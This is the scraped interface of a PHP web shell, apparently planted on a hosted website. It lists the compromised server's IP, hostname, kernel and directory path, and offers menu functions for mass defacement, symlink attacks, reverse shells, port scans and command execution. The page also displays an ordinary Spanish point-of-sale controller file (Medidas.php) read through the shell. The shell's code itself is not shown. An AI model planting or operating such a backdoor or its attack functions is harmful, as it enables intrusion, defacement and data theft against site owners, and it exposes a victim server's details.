Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vendefacilfranc
/
controllers
/
Viewing: Medidas.php
<?php class Medidas extends Controller { public function __construct() { parent::__construct(); session_start(); if (empty($_SESSION['id_usuario'])) { header('Location: ' . BASE_URL); exit; } } public function index() { if (!verificar('ver_medidas')) { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } $data['title'] = 'Medidas'; $data['script'] = 'medidas.js'; $this->views->getView('medidas', 'index', $data); } public function listar() { $data = []; if (verificar('ver_medidas')) { $id_sucursal = $_SESSION['id_sucursal']; $data = $this->model->getMedidas(1, $id_sucursal); for ($i = 0; $i < count($data); $i++) { $data[$i]['acciones'] = '<div> <button class="btn btn-danger" type="button" onclick="eliminarMedida(' . $data[$i]['id'] . ')"><i class="fas fa-trash"></i></button> <button class="btn btn-info" type="button" onclick="editarMedida(' . $data[$i]['id'] . ')"><i class="fas fa-edit"></i></button> </div>'; } } echo json_encode($data, JSON_UNESCAPED_UNICODE); die(); } public function registrar() { $nombre = strClean($_POST['nombre']); $nombre_corto = strClean($_POST['nombre_corto']); $id = strClean($_POST['id']); if (empty($nombre)) { $res = array('msg' => 'EL NOMBRE ES REQUERIDO', 'type' => 'warning'); } else if (empty($nombre_corto)) { $res = array('msg' => 'EL NOMBRE CORTO ES REQUERIDO', 'type' => 'warning'); } else { if ($id == '') { if (verificar('crear_medidas')) { $id_sucursal = $_SESSION['id_sucursal']; $verificar = $this->model->getValidar('medida', $nombre, 'registrar', 0, $id_sucursal); if (empty($verificar)) { $data = $this->model->registrar($nombre, $nombre_corto, $id_sucursal); if ($data > 0) { $res = array('msg' => 'MEDIDA REGISTRADO', 'type' => 'success'); } else { $res = array('msg' => 'ERROR AL REGISTRAR', 'type' => 'error'); } } else { $res = array('msg' => 'LA MEDIDA YA EXISTE', 'type' => 'warning'); } } else { $res = array('msg' => 'NO TIENES PERMISOS', 'type' => 'warning'); } } else { if (verificar('editar_medidas')) { $id_sucursal = $_SESSION['id_sucursal']; $verificar = $this->model->getValidar('medida', $nombre, 'actualizar', $id, $id_sucursal); if (empty($verificar)) { $data = $this->model->actualizar($nombre, $nombre_corto, $id); if ($data == 1) { $res = array('msg' => 'MEDIDA MODIFICADO', 'type' => 'success'); } else { $res = array('msg' => 'ERROR AL MODICAR', 'type' => 'error'); } } else { $res = array('msg' => 'LA MEDIDA YA EXISTE', 'type' => 'warning'); } } else { $res = array('msg' => 'NO TIENES PERMISOS', 'type' => 'warning'); } } } echo json_encode($res, JSON_UNESCAPED_UNICODE); die(); } public function eliminar($idMedida) { if (isset($_GET) && verificar('eliminar_medidas')) { if (is_numeric($idMedida)) { $data = $this->model->eliminar(0, $idMedida); if ($data == 1) { $res = array('msg' => 'MEDIDA ELIMINADO', 'type' => 'success'); } else { $res = array('msg' => 'ERROR AL ELIMINAR', 'type' => 'error'); } } else { $res = array('msg' => 'ERROR DESCONOCIDO', 'type' => 'error'); } } else { $res = array('msg' => 'NO TIENES PERMISOS', 'type' => 'error'); } echo json_encode($res, JSON_UNESCAPED_UNICODE); die(); } public function editar($idMedida) { $data = $this->model->editar($idMedida); echo json_encode($data, JSON_UNESCAPED_UNICODE); die(); } public function inactivos() { if (!verificar('ver_medidas')) { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } $data['title'] = 'Medidas Inactivos'; $data['script'] = 'medidas-inactivos.js'; $this->views->getView('medidas', 'inactivos', $data); } public function listarInactivos() { $data = []; if (verificar('ver_medidas')) { $id_sucursal = $_SESSION['id_sucursal']; $data = $this->model->getMedidas(0, $id_sucursal); for ($i = 0; $i < count($data); $i++) { $data[$i]['acciones'] = '<div> <button class="btn btn-danger" type="button" onclick="restaurarMedida(' . $data[$i]['id'] . ')"><i class="fas fa-check-circle"></i></button> </div>'; } } echo json_encode($data, JSON_UNESCAPED_UNICODE); die(); } public function restaurar($idMedida) { if (isset($_GET) && verificar('eliminar_medidas')) { if (is_numeric($idMedida)) { $data = $this->model->eliminar(1, $idMedida); if ($data == 1) { $res = array('msg' => 'MEDIDA RESTAURADO', 'type' => 'success'); } else { $res = array('msg' => 'ERROR AL RESTAURAR', 'type' => 'error'); } } else { $res = array('msg' => 'NO TIENES PERMISOS', 'type' => 'error'); } } else { $res = array('msg' => 'ERROR DESCONOCIDO', 'type' => 'error'); } echo json_encode($res, JSON_UNESCAPED_UNICODE); die(); } }
Coded With 💗 by
0x6ick